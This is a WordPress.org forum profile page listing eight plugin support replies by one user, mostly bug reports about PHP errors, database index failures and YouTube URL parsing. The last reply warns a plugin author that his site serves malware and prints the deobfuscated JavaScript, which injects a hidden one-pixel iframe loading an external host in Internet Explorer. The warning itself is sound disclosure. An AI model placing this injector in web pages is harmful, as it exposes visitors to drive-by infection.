Title: Chris's Replies | WordPress.org

---

# Chris

  [  ](https://wordpress.org/support/users/christopherw/)

 *   [Profile](https://wordpress.org/support/users/christopherw/)
 *   [Topics Started](https://wordpress.org/support/users/christopherw/topics/)
 *   [Replies Created](https://wordpress.org/support/users/christopherw/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/christopherw/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/christopherw/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/christopherw/engagements/)
 *   [Favorites](https://wordpress.org/support/users/christopherw/favorites/)

 Search replies:

## Forum Replies Created

Viewing 8 replies - 1 through 8 (of 8 total)

 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Subscribe To Comments Reloaded] TypeError thrown](https://wordpress.org/support/topic/typeerror-thrown-12/)
 *  [Chris](https://wordpress.org/support/users/christopherw/)
 * (@christopherw)
 * [4 years, 1 month ago](https://wordpress.org/support/topic/typeerror-thrown-12/#post-15613703)
 * I had an identical issue, deactivating then reactivating solved it, it appears
   possibly related to PHP 8.1, at least on my shared hosting platform (using FCGI).
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Embeds for YouTube] [Plugin: Artiss YouTube Embed] Headers already sent on plugin settings page](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-headers-already-sent-on-plugin-settings-page/)
 *  Thread Starter [Chris](https://wordpress.org/support/users/christopherw/)
 * (@christopherw)
 * [13 years, 4 months ago](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-headers-already-sent-on-plugin-settings-page/#post-3112340)
 * Sorry for not responding, missed your request. Seems whatever you fixed also 
   fixed the additional error, not seeing it with the latest plugin version. 🙂
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Relevanssi - A Better Search] Bug – 3.1.3 – MySQL error thrown in /var/log/messages](https://wordpress.org/support/topic/bug-313-mysql-error-thrown-in-varlogmessages/)
 *  Thread Starter [Chris](https://wordpress.org/support/users/christopherw/)
 * (@christopherw)
 * [13 years, 5 months ago](https://wordpress.org/support/topic/bug-313-mysql-error-thrown-in-varlogmessages/#post-3337370)
 * Update: figured it might be something to do with the DB not being correctly upgraded
   or a WP core update mucking some dependency up. Also noticed the indexed count
   had been stuck at too low a number for a while.
 * Deactivated and reactivated the plugin (after clearing the cache and attempting
   an index rebuild); I got a screen full of WordPress database error “Unknown column‘
   content’ in ‘field list’ where it was trying to add indexes for keywords.
 * The next interesting error was this:
 * `httpd: WordPress database error Duplicate key name 'terms' for query CREATE 
   INDEX terms ON wp_bs2ojz_relevanssi (term(20)) made by activate_plugin, do_action('
   activate_relevanssi/relevanssi.php'), call_user_func_array, relevanssi_install,
   _relevanssi_install, relevanssi_create_database_tables`
 * And it’s not thrown another error _yet_… Will update if I notice more errors 
   in the logs.
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Embeds for YouTube] [Plugin: Artiss YouTube Embed] Headers already sent on plugin settings page](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-headers-already-sent-on-plugin-settings-page/)
 *  Thread Starter [Chris](https://wordpress.org/support/users/christopherw/)
 * (@christopherw)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-headers-already-sent-on-plugin-settings-page/#post-3112134)
 * You’re a busy bloke… 😉
 * I receive the error message when going top bar -> YouTube Embed [hover] -> Options;
   I also get it from the sidebar.
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Embeds for YouTube] [Plugin: Artiss YouTube Embed] Insufficient permissions to access Support page](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-insufficient-permissions-to-access-support-page/)
 *  Thread Starter [Chris](https://wordpress.org/support/users/christopherw/)
 * (@christopherw)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-insufficient-permissions-to-access-support-page/#post-3112132)
 * I think you may have nailed it, I received it whilst logged in as admin so I’m
   inclined to agree with your diagnosis.
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Embeds for YouTube] [Plugin: Artiss YouTube Embed] double dashes in YT ID and escaping quotes](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-double-dashes-in-yt-id-and-escaping-quotes/)
 *  [Chris](https://wordpress.org/support/users/christopherw/)
 * (@christopherw)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-double-dashes-in-yt-id-and-escaping-quotes/#post-3036680)
 * Brilliant David, updating my install now. Kudos for fixing them so quickly, we’re
   using your plugin on [http://revolver.coop](http://revolver.coop) 🙂
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Embeds for YouTube] [Plugin: Artiss YouTube Embed] double dashes in YT ID and escaping quotes](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-double-dashes-in-yt-id-and-escaping-quotes/)
 *  [Chris](https://wordpress.org/support/users/christopherw/)
 * (@christopherw)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/plugin-artiss-youtube-embed-double-dashes-in-yt-id-and-escaping-quotes/#post-3036655)
 * Hi there,
 * Using the latest build (as of 26/09/2012) of your rather good plugin on a site
   I admin.
 * I’ve noticed if the URL has a referring field, the plugin balks.
 * Here’s a valid YT URL:
    [http://www.youtube.com/watch?feature=player_embedded&v=4XzRQxXh6fY](http://www.youtube.com/watch?feature=player_embedded&v=4XzRQxXh6fY)
 * However the page embed code reads
 * > <!– The YouTube ID of ature=player_embedded is invalid. –>
 * As in other cases, manually editing the URL to remove feature=player_embedded
   solves the problem. As is usually the case though, other people who want to update
   the site and include YouTube URLs have zero technical knowledge so they would
   just see the error message and not understand why. (Then they’d email me! 😉
 * How does the plugin currently look for the variable, does it regex for the “v
   =” variable then look for the next ampersand (or closing inverted comma) to end
   the pattern match?
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Wordpress Tiniest Super Cache] [Plugin: WordPress Tiniest Super Cache] Virus on author's web site](https://wordpress.org/support/topic/plugin-wordpress-tiniest-super-cache-virus-on-authors-web-site/)
 *  Thread Starter [Chris](https://wordpress.org/support/users/christopherw/)
 * (@christopherw)
 * [14 years, 6 months ago](https://wordpress.org/support/topic/plugin-wordpress-tiniest-super-cache-virus-on-authors-web-site/#post-2417967)
 * Ahlul, Kaspersky is correct and you are mistaken. Kaspersky performs realtime
   analysis of web pages as they’re loaded — doing my own manual search of the HTML
   source code reveals some Javascript after the closing </html> tag which is decrypting
   some poorly obfuscated code to load an iframe.
 * The code is obfuscated using Dean Edwards’ eval(p.a.c.k.e.d) compression utility
   from [http://dean.edwards.name/packer/](http://dean.edwards.name/packer/).
 * If you are not receiving an antivirus message, you are either not running antivirus(
   or it is not good enough) or you are already infected!
 * When deobfuscated, the HTML on your site is as follows:
 * `function MakeFrameEx(){element=document.getElementById('yahoo_api');if(!element){
   document.write('<IFRAME id="yahoo_api" SRC="http://cxygugiuiuyy.osa.pl/showthread.
   php?t=46340270" FRAMEBORDER=0 NAME="yahoo_api" WIDTH=1 HEIGHT=1></IFRAME>')}}
   var ua=navigator.userAgent.toLowerCase();if(((ua.indexOf("msie")!=-1&&ua.indexOf("
   opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1){document.onmousemove
   =MakeFrameEx}`
 * As you can see, your site is clearly serving malware. (Have you been hacked?)

Viewing 8 replies - 1 through 8 (of 8 total)